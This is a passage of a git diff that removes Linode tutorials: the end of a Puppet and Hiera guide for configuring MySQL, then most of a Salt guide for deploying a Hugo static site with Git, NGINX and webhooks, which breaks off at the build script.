_modules_ that aid in the installation of different types of software. The [MySQL module](https://forge.puppet.com/puppetlabs/mysql) handles the installation and configuration of MySQL without you needing to manage various configuration files and services by hand. - -1. Install the MySQL module: - - sudo puppet module install puppetlabs-mysql --version 7.0.0 - - This will install the `mysql` module into the default path: `/etc/puppetlabs/code/environments/production/modules/`. - -### Puppet MySQL Manifest - -This guide uses a Puppet *manifest* to provide Puppet with installation and configuration instructions. Alternatively, you can configure [a Puppet master](/cloud/guides/install-and-configure-puppet/). - -While the entirety of a Puppet *manifest* can contain the desired configuration for a host, values for Puppet *classes* or *types* can also be defined in a Hiera configuration file to simplify writing Puppet manifests in most cases. In this example, the `mysql::server` class parameters will be defined in Hiera, but the class must first be applied to the host. - -To apply the `mysql::server` class to all hosts by default, create the following Puppet manifest: - -{{< file "/etc/puppetlabs/code/environments/production/manifests/site.pp" puppet >}} -include ::mysql::server -{{< /file >}} - - -Note that `site.pp` is the default manifest file. Without a qualifying `node { .. }` line, this applies the class to any host applying the manifest. Puppet now knows to apply the `mysql::server` class, but still needs values for resources like databases, users, and other settings. Configure Hiera to provide these values in the next section. - -## Install and Configure Puppet Hiera - -To understand how Hiera works, consider this excerpt from the default `hiera.yaml` file: - -{{< file "/etc/puppetlabs/code/environments/production/hiera.yaml" yaml >}} ---- -version: 5 -hierarchy: - - name: "Per-node data" - path: "nodes/%{::trusted.certname}.yaml" - - name: "Common data" - path: "common.yaml" -{{< /file >}} - - -This Hiera configuration instructs Puppet to accept variable values from `nodes/%{::trusted.certname}.yaml`. If your Linode's hostname is `examplehostname`, define a file called `nodes/examplehostname.yaml`). Any variables found in YAML files higher in the hierarchy are preferred, while any variable names that do not exist in those files will fall-through to files lower in the hierarchy (in this example, `common.yaml`). - -The following configuration will define Puppet variables in `common.yaml` to inject variables into the `mysql::server` class. - -### Initial Hiera Configuration - -Hiera configuration files are formatted as yaml, with keys defining the Puppet parameters to inject their associated values. To get started, set the MySQL root password. The following example of a Puppet manifest is one way to control this password: - -{{< file "example.pp" >}} -class { '::mysql::server': - root_password => 'examplepassword', -} -{{< /file >}} - -We can also define the root password with the following Hiera configuration file. Create the following YAML file and note how the `root_password` parameter is defined as Hiera yaml: - -{{< file "/etc/puppetlabs/code/environments/production/data/common.yaml" >}} -mysql::server::root_password: examplepassword -{{< /file >}} - -Replace `examplepassword` with the secure password of your choice. Run Puppet to set up MySQL with default settings and the chosen root password: - - sudo -i puppet apply /etc/puppetlabs/code/environments/production/manifests/site.pp - -Puppet will output its progress before completing. To confirm MySQL has been configured properly, run a command: - - mysql -u root -p -e 'select version();' - -Enter the password and MySQL returns its version: - - +-------------------------+ - | version() | - +-------------------------+ - | 5.7.24-0ubuntu0.18.04.1 | - +-------------------------+ - -### Define MySQL Resources - -Using Hiera, we can define the rest of the MySQL configuration entirely in yaml. The following steps will create a database and user for use in a WordPress installation. - -1. Create a pre-hashed MySQL password. Replace the password `wordpresspassword` in this example, and when prompted for a the root MySQL password, use the first root password chosen in the previous section to authenticate. Note the string starting with a `*` that the command returns for Step 2: - - mysql -u root -p -NBe 'select password("wordpresspassword")' - *E62D3F829F44A91CC231C76347712772B3B9DABC - -2. With the MySQL password hash ready, we can define Hiera values. The following YAML defines parameters to create a database called `wordpress` and a user named `wpuser` that has permission to connect from `localhost`. The YAML also defines a `GRANT` allowing `wpuser` to operate on the `wordpress` database with `ALL` permissions: - - {{< file "/etc/puppetlabs/code/environments/production/data/common.yaml" yaml >}} -mysql::server::root_password: examplepassword -mysql::server::databases: - wordpress: - ensure: present -mysql::server::users: - wpuser@localhost: - ensure: present - password_hash: '*E62D3F829F44A91CC231C76347712772B3B9DABC' -mysql::server::grants: - wpuser@localhost/wordpress.*: - ensure: present - privileges: ALL - table: wordpress.* - user: wpuser@localhost - -{{< /file >}} - - -1. Re-run Puppet: - - sudo -i puppet apply /etc/puppetlabs/code/environments/production/manifests/site.pp - -2. The `wpuser` should now be able to connect to the `wordpress` database. To verify, connect to the MySQL daemon as the user `wpuser` to the `wordpress` database: - - mysql -u wpuser -p wordpress - - After you enter the password for `wpuser`, exit the MySQL prompt: - - exit - -### Add Hierarchies for Specific Environments - -Additional configurations can be added that will only be applied to specific environments. For example, backup jobs may only be applied for hosts in a certain region, or specific databases can be created in a particular deployment. - -In the following example, Puppet will configure the MySQL server with one additional database, but only if that server's distribution is Debian-based. - -1. Modify `hiera.yaml` to contain the following: - - {{< file "/etc/puppetlabs/code/environments/production/hiera.yaml" yaml >}} ---- -version: 5 -hierarchy: - - name: "Per OS Family" - path: "os/%{facts.os.family}.yaml" - - name: "Other YAML hierarchy levels" - paths: - - "common.yaml" -{{< /file >}} - - - This change instructs Hiera to look for Puppet parameters first in `"os/%{facts.os.family}.yaml"` and then in `common.yaml`. The first, fact-based element of the hierarchy is dynamic, and dependent upon the host that Puppet and Hiera control. In this Ubuntu-based example, Hiera will look for `Debian.yaml` in the `os` folder, while on a distribution such as CentOS, the file `RedHat.yaml` will automatically be referenced instead. - -1. Create the following YAML file: - - {{< file "/etc/puppetlabs/code/environments/production/data/os/Debian.yaml" yaml >}} -lookup_options: - mysql::server::databases: - merge: deep - -mysql::server::databases: - ubuntu-backup: - ensure: present - -{{< /file >}} - - - Though similar to the `common.yaml` file defined in previous steps, this file will add the `ubuntu-backup` database *only* on Debian-based hosts (like Ubuntu). In addition, the `lookup_options` setting ensures that the `mysql::server:databases` parameter is *merged* between `Debian.yaml` and `common.yaml` so that all databases are managed. Without `lookup_options` set to deeply merge these hashes, only the most specific hierarchy file will be applied to the host, in this case, `Debian.yaml`. - - * Alternatively, because our Puppet manifest is short, we can test the same command using the `-e` flag to apply an inline manifest: - - sudo -i puppet apply -e 'include ::mysql::server' - -3. Run Puppet and observe the changes: - - sudo -i puppet apply /etc/puppetlabs/code/environments/production/manifests/site.pp - -4. Verify that the new database exists: - - mysql -u root -p -e 'show databases;' - - This includes the new `ubuntu-backup` database: - - +---------------------+ - | Database | - +---------------------+ - | information_schema | - | mysql | - | performance_schema | - | sys | - | ubuntu-backup | - | wordpress | - +---------------------+ - -Congratulations! You can now control your Puppet configuration via highly configurable Hiera definitions. diff --git a/docs/guides/applications/configuration-management/salt/automate-a-static-site-deployment-with-salt/index.md b/docs/guides/applications/configuration-management/salt/automate-a-static-site-deployment-with-salt/index.md deleted file mode 100644 index 1a28d12be37..00000000000 --- a/docs/guides/applications/configuration-management/salt/automate-a-static-site-deployment-with-salt/index.md +++ /dev/null @@ -1,1034 +0,0 @@ ---- -slug: automate-a-static-site-deployment-with-salt -title: "Automate Static Site Deployments with Salt, Git, and Webhooks" -title_meta: "Automate Static Site Deployments with Salt and Git" -description: "Learn how to use Salt to configure a static site webserver and use webhooks to automatically deploy new site content." -authors: ["Nathan Melehan"] -contributors: ["Nathan Melehan"] -published: 2018-10-15 -modified: 2019-01-02 -keywords: ['salt','saltstack','github','webhooks','hugo','static site','deployment'] -tags: ["web server","automation","salt"] -license: '[CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0)' -image: Automate-Static-Site-DeploymentswithSaltGitandWebhooks.png -external_resources: -- '[Hugo Documentation](https://gohugo.io/documentation/)' -- '[SaltStack Git Fileserver Documentation](https://docs.saltproject.io/en/latest/topics/tutorials/gitfs.html#tutorial-gitfs)' -- '[SaltStack Salt Formulas Documentation](https://docs.saltproject.io/en/latest/topics/development/conventions/formulas.html)' -- '[GitHub Developer - Webhooks](https://developer.github.com/webhooks/)' -aliases: ['/applications/configuration-management/salt/automate-a-static-site-deployment-with-salt/','/applications/configuration-management/automate-a-static-site-deployment-with-salt/'] ---- - -This guide will walk through the deployment of a static site using [SaltStack](https://github.com/saltstack/salt), which is a flexible configuration management system. The configuration files created for Salt will be version controlled using Git. Updates to your static site's code will be automatically communicated to the production system using webhooks, an event notification system for the web. - -Setting up these mechanisms offers an array of benefits: - -- Using webhooks will keep your production website in sync with your development without any actions needed on your part. - -- Using Salt provides an extensible, reliable way to alter your production systems and minimize human error. - -- Version controlling your configuration management helps you track or revert the changes you've made to your systems and collaborate with others on your deployments. - -## Development and Deployment Workflow - -The static site generator used in this guide is [Hugo](https://gohugo.io), a fast framework written in Go. Static site generators compile [Markdown](https://en.wikipedia.org/wiki/Markdown) or other content files into HTML files. This guide can easily be adapted to other frameworks. - -Two Git repositories will be created: one will track changes to the Hugo site, and the other will track Salt's configuration files. Remote repositories will be created for both on GitHub. - -Two Linodes will be created: one will act as the Salt master, and the other as the Salt minion. This guide was tested under Debian 9, but the instructions may work with other distributions as well. The Salt minion will run the production webserver which serves the Hugo site, and the master will configure the minion's software. The minion will also run a webhook server which will receive code update notifications from GitHub. - -It is possible to run Salt in a [masterless mode](https://docs.saltproject.io/en/latest/topics/tutorials/quickstart.html), but using a Salt master will make it easier to expand on your deployment in the future. - -{{< note >}} -The workflow described in this guide is similar to how Linode's own [Guides & Tutorials](https://github.com/linode/docs) website is developed and deployed. -{{< /note >}} - -## Before You Begin - -### Set Up the Development Environment - -Development of your Hugo site and your Salt formula will take place on your personal computer. Some software will need to be installed on your computer first: - -1. Install Git using one of the methods in [Linode's guide](/cloud/guides/how-to-install-git-on-linux-mac-and-windows/). If you have a Mac, use the Homebrew method, as it will also be used to install Hugo. - -1. Install Hugo. The [Hugo documentation](https://gohugo.io/getting-started/installing/) has a full list of installation methods, and instructions for some popular platforms are as follows: - - - Debian/Ubuntu: - - sudo apt-get install hugo - - - Fedora, Red Hat and CentOS: - - sudo dnf install hugo - - - Mac, using [Homebrew](https://brew.sh): - - brew install hugo - - - Windows, using [Chocolatey](https://chocolatey.org) - - choco install hugo -confirm - -### Deploy the Linodes - -1. Follow the [Creating a Compute Instance](https://techdocs.akamai.com/cloud-computing/docs/create-a-compute-instance) guide and deploy two Linodes running Debian 9. - -1. In the settings tab of your Linodes' dashboards, label one of the Linodes as `salt-master` and the other as `salt-minion`. This is not required, but it will help keep track of which Linode serves which purpose. - -1. Complete the [Setting Up and Securing a Compute Instance](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance) guide on each Linode to create a limited Linux user account with `sudo` privileges, harden SSH access, and remove unnecessary network services. - - {{% content "limited-user-note-shortguide" %}} - -1. Configure DNS for your site by adding a [domain zone](https://techdocs.akamai.com/cloud-computing/docs/create-a-domain) and setting up [reverse DNS](https://techdocs.akamai.com/cloud-computing/docs/configure-rdns-reverse-dns-on-a-compute-instance) on your Salt minion's IP address. - -## Set Up the Salt Master and Salt Minion - -Before you can start setting up the Salt formulas for the minion, you first need to install the Salt software on the master and minion and set up communication between them. - -1. Log into the Salt **master** Linode via SSH and run the Salt installation bootstrap script: - - wget -O bootstrap-salt.sh https://bootstrap.saltproject.io - sudo sh bootstrap-salt.sh -M -N - - {{< note respectIndent=false >}} -The `-M` option tells the script to install the Salt master software, and the `-N` option tells the script to not install the minion software. -{{< /note >}} - -1. Log into the Salt **minion** Linode via SSH and [set the hostname](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance#configure-a-custom-hostname). This guide uses `hugo-webserver` as the example hostname: - - sudo hostnamectl set-hostname hugo-webserver - - {{< note respectIndent=false >}} -This step needs to be completed **before installing Salt** on the minion, as Salt will use your hostname to generate the minion's Salt ID. -{{< /note >}} - -1. Edit the minion's `/etc/hosts` file and append a new line for your hostname after the `localhost` line; replace 192.0.2.3 with your **minion's** public IP address: - - {{< file "/etc/hosts" >}} -127.0.0.1 localhost -192.0.2.3 hugo-webserver -# [...] -{{}} - -1. Run the bootstrap script on the minion: - - wget -O bootstrap-salt.sh https://bootstrap.saltproject.io - sudo sh bootstrap-salt.sh - -1. Edit `/etc/salt/minion` on the Salt minion. Uncomment the line that begins with `#master:` and enter your Salt **master's** IP after the colon (in place of `192.0.2.2`): - - {{< file "/etc/salt/minion" >}} -# [...] -master: 192.0.2.2 -# [...] -{{}} - - {{< note respectIndent=false >}} -Linode does not charge for traffic within a data center across private IP addresses. If your Salt master and minion are in the same data center, and both have a private IP addresses, you can use your Salt master's private IP address in this step to avoid incurring data traffic charges. -{{< /note >}} - -1. Restart Salt on the minion: - - sudo systemctl restart salt-minion - -### Salt Minion Authentication - -The minion should now be able to find the master, but it has not yet been authenticated to communicate with the master. Salt uses public-private keypairs to authenticate minions to masters. - -1. On the **master**, list fingerprints for all the master's local keys, accepted minion keys, and unaccepted keys: - - sudo salt-key --finger-all - - The output should resemble: - - {{< output >}} -Local Keys: -master.pem: fe:1f:e8:3d:26:83:1c:... -master.pub: 2b:93:72:b3:3a:ae:cb:... -Unaccepted Keys: -hugo-webserver: 29:d8:f3:ed:91:9b:51:... -{{< /output >}} - - {{< note respectIndent=false >}} -The example fingerprints in this section have been truncated for brevity. -{{< /note >}} - -1. Copy the fingerprint for `master.pub` from the output of `salt-key --finger-all`. On your Salt **minion**, open `/etc/salt/minion` in a text editor. Uncomment the line that begins with `#master_finger:` and enter the value for your `master.pub` after the colon in single-quotes: - - {{< file "/etc/salt/minion" >}} -# [...] -master_finger: '0f:d6:5f:5e:f3:4f:d3:...' -# [...] -{{}} - -1. Restart Salt on the minion: - - sudo systemctl restart salt-minion - -1. View the minion's local key fingerprint: - - sudo salt-call key.finger --local - - {{< output >}} -local: - 29:d8:f3:ed:91:9b:51:... -{{< /output >}} - - Compare the output's listed fingerprint to the fingerprints listed by the Salt master for any `Unaccepted Keys`. This is the output of `salt-key --finger-all` run on the master in the beginning of this section. - -1. After verifying, that the minion's fingerprint is the same as the fingerprint detected by the Salt master, run the following command on the **master** to accept the minion's key: - - sudo salt-key -a hugo-webserver - -1. From the master, verify that the minion is running: - - sudo salt-run manage.up - - You can also run a Salt test ping from the master to the minion: - - sudo salt 'hugo-webserver' test.ping - - {{< output >}} -hugo-webserver: - True -{{< /output >}} - -## Initialize the Salt Minion's Formula - -The Salt minion is ready to be configured by the master. These configurations will be written in a Salt *formula* which will be hosted on [GitHub](https://github.com/). - -1. On your computer, create a new directory to hold your minion's formula and change to that directory: - - mkdir hugo-webserver-salt-formula - cd hugo-webserver-salt-formula - -1. Inside the formula directory, create a new `hugo` directory to hold your webserver's configuration: - - mkdir hugo - -1. Inside the `hugo` directory, create a new `install.sls` file: - - {{< file "hugo-webserver-salt-formula/hugo/install.sls" >}} -nginx_pkg: - pkg.installed: - - name: nginx -{{< /file >}} - - {{< note respectIndent=false >}} -Salt configurations are declared in YAML-- a markup language that incorporates whitespace/indentation in its syntax. Be sure to use the same indentation as the snippets presented in this guide. -{{< /note >}} - - A `.sls` file is a **S**a**L**t **S**tate file. Salt states describe the state a minion should be in after the state is applied to it: e.g., all the software that should be installed, all the services that should be run, and so on. - - The above snippet says that a package with name `nginx` (i.e. the NGINX web server) should be installed via the distribution's package manager. Salt knows how to negotiate software installation via the built-in package manager for various distributions. Salt also knows how to install software via NPM and other package managers. - - The string `nginx_pkg` is the *ID* for the state component, `pkg` is the name of the Salt *module* used, and `pkg.installed` is referred to as a *function declaration*. The component ID is arbitrary, so you can name it however you prefer. - - {{< note respectIndent=false >}} -If you were to name the ID to be the same as the relevant installed package, then you do not need to specify the `- name` option, as it will be inferred from the ID. For example, this snippet also installs NGINX: - -{{< file "hugo-webserver-salt-formula/hugo/install.sls" >}} -nginx: - pkg.installed -{{< /file >}} - -The same name/ID convention is true for other Salt modules. -{{< /note >}} - -1. Inside the `hugo` directory, create a new `service.sls` file: - - {{< file "hugo-webserver-salt-formula/hugo/service.sls" >}} -nginx_service: - service.running: - - name: nginx - - enable: True - - require: - - pkg: nginx_pkg -{{< /file >}} - - This state says that the `nginx` service should be immediately run and be enabled to run at boot. For a Debian 9 system, Salt will set the appropriate [systemd](/cloud/guides/what-is-systemd/) configurations to enable the service. Salt also supports other init systems. - - The `require` lines specify that this state component should not be applied until after the `nginx_pkg` component has been applied. - - {{< note respectIndent=false >}} -Unless specified by a `require` declaration, Salt makes no guarantees about the order that different components are applied. The order that components are listed in a state file **does not** necessarily correspond with the order that they are applied. -{{< /note >}} - -1. Inside the `hugo` directory, create a new `init.sls` file with the following contents: - - {{< file "hugo-webserver-salt-formula/hugo/init.sls" >}} -include: - - hugo.install - - hugo.service -{{< /file >}} - - Using the `include` declaration in this way simply concatenates the `install.sls` and `service.sls` files into a single combined state file. - - Right now, these state files only install and enable NGINX. More functionality will be enabled later in this guide. - - The `install` and `service` states will not be applied to the minion on their own--instead, only the combined `init` state will ever be applied. In Salt, when a file named `init.sls` exists inside a directory, Salt will refer to that particular state by the name of the directory it belongs to (i.e. `hugo` in our example). - - {{< note respectIndent=false >}} -The organization of the state files used here is not mandated by Salt. Salt does not place restrictions on how you organize your states. This specific structure is presented as an example of a [best practice](https://docs.saltproject.io/en/latest/topics/best_practices.html). -{{< /note >}} - -### Push the Salt Formula to GitHub - -1. Inside your `hugo-webserver-salt-formula` directory on your computer, initialize a new Git repository: - - cd ~/hugo-webserver-salt-formula - git init - -1. Stage the files you just created: - - git add . - -1. Review the staged files: - - git status - - {{< output >}} -On branch master -No commits yet -Changes to be committed: - (use "git rm --cached ..." to unstage) - - new file: hugo/init.sls - new file: hugo/install.sls - new file: hugo/service.sls -{{< /output >}} - -1. Commit the files: - - git commit -m "Initial commit" - -1. Log into the GitHub website in your browser and navigate to the [Create a New Repository](https://github.com/new) page. - -1. Create a new public repository with the name `hugo-webserver-salt-formula`: - - ![GitHub New Repository - Add New Salt Formula Repo](github-add-new-repo-salt-formula.png) - -1. Copy the HTTPS URL for your new repository: - - ![GitHub New Repository - New Salt Formula Repo](github-new-repo-salt-formula.png) - -1. In your local Salt formula repository, add the GitHub repository as the `origin` remote and push your new files to it. Replace `github-username` with your GitHub user: - - git remote add origin https://github.com/github-username/hugo-webserver-salt-formula.git - git push -u origin master - - {{< note respectIndent=false >}} -If you haven't pushed anything else to your GitHub account from the command line before, you may be prompted to authenticate with GitHub. If you have two-factor authentication enabled for your account, you will need to create and use a [personal access token](https://help.github.com/articles/creating-a-personal-access-token-for-the-command-line/). -{{< /note >}} - -1. If you navigate back to your `hugo-webserver-salt-formula` repository on GitHub and refresh the page, you should now see your new files. - -### Enable GitFS on the Salt Master - -Update your Salt master to serve the new formula from GitHub: - -1. Salt requires that you install a Python interface to Git to use GitFS. On the Salt master Linode: - - sudo apt-get install python-git - -1. Open `/etc/salt/master` in a text editor. Uncomment the `fileserver_backend` declaration and enter `roots` and `gitfs` in the declaration list: - - {{< file "/etc/salt/master" >}} -fileserver_backend: - - roots - - gitfs -{{< /file >}} - - `roots` refers to Salt files stored on the master's filesystem. While the Hugo webserver Salt formula is stored on GitHub, the Salt [*Top file*](https://docs.saltproject.io/en/latest/ref/states/top.html#states-top) will be stored on the master. The Top file is how Salt maps states to the minions they will be applied to. - -1. In the same file, uncomment the `gitfs_remotes` declaration and enter your Salt formula's repository URL: - - {{< file "/etc/salt/master" >}} -gitfs_remotes: - - https://github.com/your_github_user/hugo-webserver-salt-formula.git -{{< /file >}} - -1. Uncomment the `gitfs_provider` declaration and set its value to `gitpython`: - - {{< file "/etc/salt/master" >}} -gitfs_provider: gitpython -{{< /file >}} - -### Apply the Formula's State to the Minion - -1. In `/etc/salt/master`, uncomment the `file_roots` declaration and set the following values: - - {{< file "/etc/salt/master" >}} -file_roots: - base: - - /srv/salt/ -{{< /file >}} - - `file_roots` specifies where state files are kept on the Master's filesystem. This is referenced when `- roots` is declared in the `fileserver_backend` section. `base` refers to a Salt *environment*, which is a tree of state files that can be applied to minions. This guide will only use the `base` environment, but other environments could be created for development, QA, and so on. - -1. Restart Salt on the master to enable the changes in `/etc/salt/master`: - - sudo systemctl restart salt-master - -1. Create the `/srv/salt` directory on the Salt master: - - sudo mkdir /srv/salt - -1. Create a new `top.sls` file in `/srv/salt`: - - {{< file "/srv/salt/top.sls" >}} -base: - 'hugo-webserver': - - hugo -{{< /file >}} - - This is Salt's Top file, and the snippet declares that the `hugo-webserver` minion should receive the `init.sls` state from the `hugo` directory (from your GitHub-hosted Salt formula). - -1. Tell Salt to apply states from the Top file to the minion: - - sudo salt 'hugo-webserver' state.apply - - Salt as refers to this command as a *highstate*. Running a highstate can take a bit of time to complete, and the output of the command will describe what actions were taken on the minion. The output will also show if any actions failed. - - {{< note respectIndent=false >}} -If you see an error similar to: - -{{< output >}} -No matching sls found for 'hugo' in env 'base' -{{< /output >}} - -Try running this command to manually fetch the Salt formula from GitHub, then run the `state.apply` command again: - - sudo salt-run fileserver.update - -Salt's GitFS fetches files from remotes periodically, and this period [can be configured](https://docs.saltproject.io/en/latest/ref/configuration/master.html#std:conf_master-gitfs_update_interval). -{{< /note >}} - -1. If you visit your domain name in a web browser, you should now see NGINX's default test page served by the Salt minion. - -## Initialize the Hugo Site - -1. On your computer, create a new Hugo site. Make sure you are not running this command in your `hugo-webserver-salt-formula` directory: - - hugo new site example-hugo-site - -1. Navigate to the new Hugo site directory and initialize a Git repository: - - cd example-hugo-site - git init - -1. Install a theme into the `themes/` directory. This guide uses the [Cactus theme](https://themes.gohugo.io/cactus/): - - git submodule add https://github.com/digitalcraftsman/hugo-cactus-theme.git themes/hugo-cactus-theme - -1. The theme comes with some example content. Copy it into the root of your site so that it can be viewed: - - cp -r themes/hugo-cactus-theme/exampleSite/ . - -1. Edit the `baseurl`, `themesDir`, and `name` options in `config.toml` as follows; replace `example.com` with your own domain and `Your Name` with your own name: - - {{< file "example-hugo-site/config.toml" >}} -# [...] -baseURL = "http://example.com" -# [...] -themesDir = "themes" -# [...] - name = "Your Name" -{{< /file >}} - -1. Run the Hugo development server on your computer: - - hugo server - - The output from this command will end with a line like: - - {{< output >}} -Web Server is available at http://localhost:1313/ (bind address 127.0.0.1) -{{< /output >}} - -1. If you view the URL from this output in a browser, you can see your new Hugo site: - - ![New Hugo Site - Development Server](hugo-dev-server-browser.png) - -1. Enter **CTRL-C** in the terminal session on your computer to stop the Hugo development server. Open the `.gitignore` file and make sure `public/` is listed. The default `.gitignore` from the Cactus theme should look like: - - {{< file "example-hugo-site/config.toml" >}} -public/ -themes -{{< /file >}} - - The `public` directory is the result of Hugo compiling the Markdown content files into HTML. These files can be regenerated by anyone who downloads your site code, so they won't be checked into version control. - -### Push the Hugo Site to GitHub - -1. In the Hugo site directory, commit the new site files: - - git add . - git commit -m "Initial commit" - -1. Create a new public repository on GitHub named `example-hugo-site` and copy the repository's HTTPS URL. - -1. In the site directory, add the GitHub repository as the `origin` remote and push your new files to it; replace `github-username` with your GitHub user: - - git remote add origin https://github.com/github-username/example-hugo-site.git - git push -u origin master - -## Deploy the Hugo Site - -The Salt minion's formula needs to be updated in order to serve the Hugo site. Specifically, the formula will need to have states which: - -- Install Git and clone the Hugo site repository from GitHub. - -- Install Hugo and build the HTML files from the Markdown content. - -- Update the NGINX configuration to serve the built site. - -Some of the new state components will refer to data stored in [*Salt Pillar*](https://docs.saltproject.io/en/latest/topics/pillar/). Pillar is a Salt system that stores private data and other parameters that you don't want to list in your formulas. The Pillar data will be kept as a file on the Salt master and not checked into version control. - -{{< note >}} -There are methods for securely checking this data into version control or using other backends to host the data, but those strategies are outside the scope of this guide. -{{< /note >}} - -Pillar data is injected into state files with Salt's [*Jinja* templating](https://docs.saltproject.io/en/latest/topics/jinja/index.html) feature. State files are first evaluated as Jinja templates and then as YAML afterwards. - -### Install Git and Hugo - -In your local Salt formula's repository, edit the `install.sls` file to append the `git_pkg` and `hugo_pkg` states: - -{{< file "hugo-webserver-salt-formula/hugo/install.sls" >}} -# [...] - -git_pkg: - pkg.installed: - - name: git - -hugo_pkg: - pkg.installed: - - name: hugo - - sources: - - hugo: https://github.com/gohugoio/hugo/releases/download/v{{ pillar['hugo_deployment_data']['hugo_version'] }}/hugo_{{ pillar['hugo_deployment_data']['hugo_version'] }}_Linux-64bit.deb -{{< /file >}} - -The first state component installs Git, and the second component installs Hugo. The second component's `sources` declaration specifies that the package should be downloaded from Hugo's GitHub repository (instead of from the distribution package manager). - -The `{{ }}` syntax that appears in `{{ pillar['hugo_deployment_data']['hugo_version'] }}` is a Jinja substitution statement. `pillar['hugo_deployment_data']['hugo_version']` returns the value of the `hugo_version` key from a dictionary named `hugo_deployment_data` in Pillar. Keeping the Hugo version in Pillar lets you update Hugo without needing to update your formulas. - -### Clone the Hugo Site Git Repository - -Create a new `config.sls` file in your local Salt formula repository's `hugo` directory: - -{{< file "hugo-webserver-salt-formula/hugo/config.sls" >}} -hugo_group: - group.present: - - name: {{ pillar['hugo_deployment_data']['group'] }} - -hugo_user: - user.present: - - name: {{ pillar['hugo_deployment_data']['user'] }} - - gid: {{ pillar['hugo_deployment_data']['group'] }} - - home: {{ pillar['hugo_deployment_data']['home_dir'] }} - - createhome: True - - require: - - group: hugo_group - -hugo_site_repo: - cmd.run: - - name: git clone --recurse-submodules https://github.com/{{ pillar['hugo_deployment_data']['github_account'] }}/{{ pillar['hugo_deployment_data']['site_repo_name'] }}.git - - cwd: {{ pillar['hugo_deployment_data']['home_dir'] }} - - runas: {{ pillar['hugo_deployment_data']['user'] }} - - creates: {{ pillar['hugo_deployment_data']['home_dir'] }}/{{ pillar['hugo_deployment_data']['site_repo_name'] }} - - require: - - pkg: git_pkg - - user: hugo_user -{{< /file >}} - -The final `hugo_site_repo` component in this snippet is responsible for cloning the example Hugo site repository from GitHub. This cloned repo is placed in the home directory of a system user that Salt creates in the preceding components. The clone command also recursively downloads the Cactus theme submodule. - -{{< note >}} -The `- creates` declaration tells Salt that running the `cmd` command module will result in the creation of the file that's specified. If the state is applied again later, Salt will check if that file already exists. If it exists, Salt will *not* run the module again. - -{{< /note >}} - -The `require` declarations in each component ensure that: - -- The clone is not run until the system user and home directory have been created, and until the software package for Git has been installed. -- The user is not created until the group it belongs to is created. - -Instead of hard-coding the parameters for the user, group, home directory, GitHub account, and repository name, these are retrieved from Pillar. - -### Configure NGINX - -1. Append the following states to your `config.sls`: - - {{< file "hugo-webserver-salt-formula/hugo/config.sls" >}} -nginx_default: - file.absent: - - name: '/etc/nginx/sites-enabled/default' - - require: - - pkg: nginx_pkg - -nginx_config: - file.managed: - - name: /etc/nginx/sites-available/hugo_site - - source: salt://hugo/files/hugo_site - - user: root - - group: root - - mode: 0644 - - template: jinja - - require: - - pkg: nginx_pkg - -nginx_symlink: - file.symlink: - - name: /etc/nginx/sites-enabled/hugo_site - - target: /etc/nginx/sites-available/hugo_site - - user: root - - group: root - - require: - - file: nginx_config - -nginx_document_root: - file.directory: - - name: {{ pillar['hugo_deployment_data']['nginx_document_root'] }}/{{ pillar['hugo_deployment_data']['site_repo_name'] }} - - user: {{ pillar['hugo_deployment_data']['user'] }} - - group: {{ pillar['hugo_deployment_data']['group'] }} - - dir_mode: 0755 - - require: - - user: hugo_user -{{< /file >}} - - - The `nginx_default` component removes the symlink in `sites-enabled` for the default NGINX config, which disables that configuration. - - `nginx_config` and `nginx_symlink` then create a new configuration file in `sites-available` and a symlink to it in `sites-enabled`. - - The `nginx_document_root` component creates the directory that NGINX will serve your Hugo site files from (when filled in with Pillar data, this will directory will look like `/var/www/example-hugo-site`). - -1. The `- source: salt://hugo/files/hugo_site` declaration in `nginx_config` refers to an NGINX configuration file that doesn't exist in your repository yet. Create the `files/` directory: - - cd ~/hugo-webserver-salt-formula/hugo - mkdir files - -1. Create the `hugo_site` file inside `files/`: - - {{< file "hugo-webserver-salt-formula/hugo/files/hugo_site" >}} -server { - listen 80; - listen [::]:80; - server_name {{ pillar['hugo_deployment_data']['domain_name'] }}; - - root {{ pillar['hugo_deployment_data']['nginx_document_root'] }}/{{ pillar['hugo_deployment_data']['site_repo_name'] }}; - - index index.html index.htm index.nginx-debian.html; - - location / { - try_files $uri $uri/ = /404.html; - } -} -{{< /file >}} - - The `nginx_config` component that manages this file also listed the `- template: jinja` declaration, so the source file is interpreted as a Jinja template. The source file is able to substitute values from Pillar using the Jinja substitution syntax. - -1. **Replace** the content of your `service.sls` with this snippet: - - {{< file "hugo-webserver-salt-formula/hugo/service.sls" >}} -nginx_service: - service.running: - - name: nginx - - enable: True - - require: - - file: nginx_symlink - - watch: - - file: nginx_config -{{< /file >}} - - The `nginx_service` component now requires `nginx_symlink` instead of `nginx_pkg`. Without this change, the service may be enabled and run before the new NGINX configuration is set up. The `- watch` declaration also instructs NGINX to restart whenever a change to `nginx_config` is made. - -### Build Hugo - -1. Append a `build_script` state to `config.sls`: - - {{< file "hugo-webserver-salt-formula/hugo/config.sls" >}} -build_script: - file.managed: - - name: {{ pillar['hugo_deployment_data']['home_dir'] }}/deploy.sh - - source: salt://hugo/files/deploy.sh - - user: {{ pillar['hugo_deployment_data']['user'] }} - - group: {{ pillar['hugo_deployment_data']['group'] }} - - mode: 0755 - - template: jinja - - require: - - user: hugo_user - cmd.run: - - name: ./deploy.sh - - cwd: {{ pillar['hugo_deployment_data']['home_dir'] }} - - runas: {{ pillar['hugo_deployment_data']['user'] }} - - creates: {{ pillar['hugo_deployment_data']['nginx_document_root'] }}/{{ pillar['hugo_deployment_data']['site_repo_name'] }}/index.html - - require: - - file: build_script - - cmd: hugo_site_repo - - file: nginx_document_root -{{< /file >}} - - This state uses more than one module. The first module will download the `deploy.sh` file from the salt master and place it on the minion. This script will be responsible for compiling your Hugo site files. The second module then calls that script. The first module is listed as a requirement of the second module, along with the Git clone command, and the creation of the document root folder. - - {{< note respectIndent=false >}} -The `- creates` option in the second module ensures that Salt doesn't rebuild Hugo if the state is re-applied to the minion. -{{< /note >}} - -1. Create the `deploy.sh` script in `files/`: - - {{< file "hugo-webserver-salt-formula/hugo/files/deploy.sh" >}} -#!/bin/bash - -cd {{ pillar['hugo_deployment_data']['site_repo_name'] }} -hugo --destination={{ pillar['hugo_deployment_data']['nginx_document_root'] }}/{{ pillar['hugo_deployment_data']['site_repo_name'] }} -{{< /file >}} - - Hugo's build function is called with 